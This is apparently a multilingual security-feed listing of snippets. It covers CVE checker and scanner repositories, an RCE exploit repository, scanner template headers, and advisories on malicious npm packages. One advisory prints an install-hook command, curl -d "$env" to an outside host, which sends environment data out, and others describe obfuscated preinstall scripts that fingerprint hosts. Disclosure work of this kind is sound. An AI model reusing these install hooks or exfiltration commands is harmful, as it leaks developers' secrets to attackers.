Juniper-Bug-Automation-CVE-2023-36845

أتمتة لـ Juniper CVE:2023-36845 نظرة عامة هذا سكريبت bash مصمم للتحقق من ثغرة CVE-2023-36845. يقوم هذا السكريبت بمعالجة قائمة من عناوين IP، ويرسل طلبًا إلى كل عنوان، ويحدد ما إذا كان النظام معرضًا للخطر بناءً على الاستجابة. الاستخدام لاستخدام السكريبت، قم بتشغيله من سطر الأوامر مع الخيارات التالي...

CVE-2020-13889

المؤلف: Andre k Lorenci جهة الاتصال: [email protected] CVE-2020-13889 مرحبًا، تتكون هذه الثغرة من دالة تُدعى showAlert في لوحة الإدارة الخاصة بـ bludit، وعند الوصول إليها في DOM، تتيح للمستخدمين تحديد النص الذي سيظهر في صندوق الرسائل. لكن هذه الدالة لا تحتوي على أي تعقيم، ويمكن للمستخدم حقن ...

dRMM-CVE-2020-1350-response

نظرة عامة أعلنت مايكروسوفت عن CVE-2020-1350 في 14 يوليو 2020. تعود هذه الثغرة الأمنية في خادم DNS الخاص بـ Windows إلى Server 2003 ويُعتقد على نطاق واسع أنها قابلة للانتشار كدودة. يتبع هذا السكريبت التعليمات الواردة من KB456509...

cve-2017-0358.sh

इस रिपॉजिटरी में README नहीं है।...

dirtycups

dirtycups.py Dirty CUPS एक मुफ्त Linux/Unix CVE स्कैनर Python3 स्क्रिप्ट है जो यह सत्यापित करने के लिए है कि कोई लक्ष्य CVE-2024-47176 के प्रति संवेदनशील है या नहीं। यह MalwareTech के cupsscanner.py पर आधारित एक केवल सॉकेट CUPS स्कैनर है:...

Malicious code in hardhat-promised (npm)

[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...

MAL-2026-17662 Malicious code in hardhat-promised (npm)

[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...

CVE-2025-12163

CVE-2025-12163: Omnipress WordPress प्लगइन में स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग विषय सूची अवलोकन भेद्यता विवरण तकनीकी विश्लेषण हमला वेक्टर निवारण मार्गदर्शिका CVSS मीट्रिक्स संदर्भ सुरक्षा संपर्क अवलोकन Omnipress WordPress प्लगइन स्टोर्ड XSS भेद्यता CVE-2025-XXXXX – Omnipress Gutenberg ब्लॉक प्लगइ...

CVE-2021-4044

SSL जाँचकर्ता स्क्रिप्ट इस रिपॉजिटरी में एक Python स्क्रिप्ट है जो आपके सिस्टम पर OpenSSL संस्करण की जाँच करती है और उपयोगकर्ता द्वारा प्रदान की गई वेबसाइट के लिए SSL/TLS कनेक्शन का परीक्षण करती है। स्क्रिप्ट यह पहचानने के लिए डिज़ाइन की गई है कि क्या सिस्टम CVE-2021-4044 से प्रभावित है और कनेक्श...

Malicious code in abbishal-poc2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...

MAL-2026-17654 Malicious code in abbishal-poc2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...

MAL-2026-17652 Malicious code in @ziedzzz/demo-canary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...

Malicious code in @ziedzzz/demo-canary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...

Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

dns-zone-audit

DNS ज़ोन ऑडिट DNS ज़ोन ट्रांसफ़र गलत कॉन्फ़िगरेशन AXFR के परीक्षण के लिए एक हल्का Bash-आधारित सुरक्षा उपकरण, जो CVE-1999-0532 से संबंधित है। यह स्क्रिप्ट किसी डोमेन के लिए आधिकारिक नेम सर्वरों से पूछताछ करती है और पूर्ण ज़ोन ट्रांसफ़र का प्रयास करती है। यदि सफल होता है, तो यह एक गंभीर DNS गलत...

CVE-2024-4577-RCE-EXP

TG Join Us https://t.me/WanLiChangChengWanLiChang हमसे जुड़ें और समय-समय पर विभिन्न कमजोरियों के EXP और POC प्राप्त करें। CVE-2024-4577-RCE-EXP CVE-2024-4577 PHP CGI Windows प्लेटफ़ॉर्म पर रिमोट कोड एक्ज़ीक्यूशन वल्नरेबिलिटी CVE-2024-4577 PHP CGI Windows प्लेटफ़ॉर्म पर रिमोट कोड एक्ज़ीक्यूशन...

Schools Alert Management Script - Arbitrary File Read

Schools Alert Management Script is susceptible to an arbitrary file read vulnerability via the f parameter in img.php, aka absolute path traversal. id: CVE-2018-12054 info: name: Schools Alert Management Script - Arbitrary File Read author: wisnupramoedya severity: high description: Schools Alert...

Dolibarr <7.0.2 - Cross-Site Scripting

Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. id: CVE-2018-10095 info: name: Dolibarr 7.0.2 - Cross-Site Scripting author: pikpikcu severity: medium...

Apache Tomcat 4.x-7.x - Cross-Site Scripting

Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. id: CVE-2007-2449 info: name: Apache Tomcat 4.x-7.x - Cross-Site Scripting author:...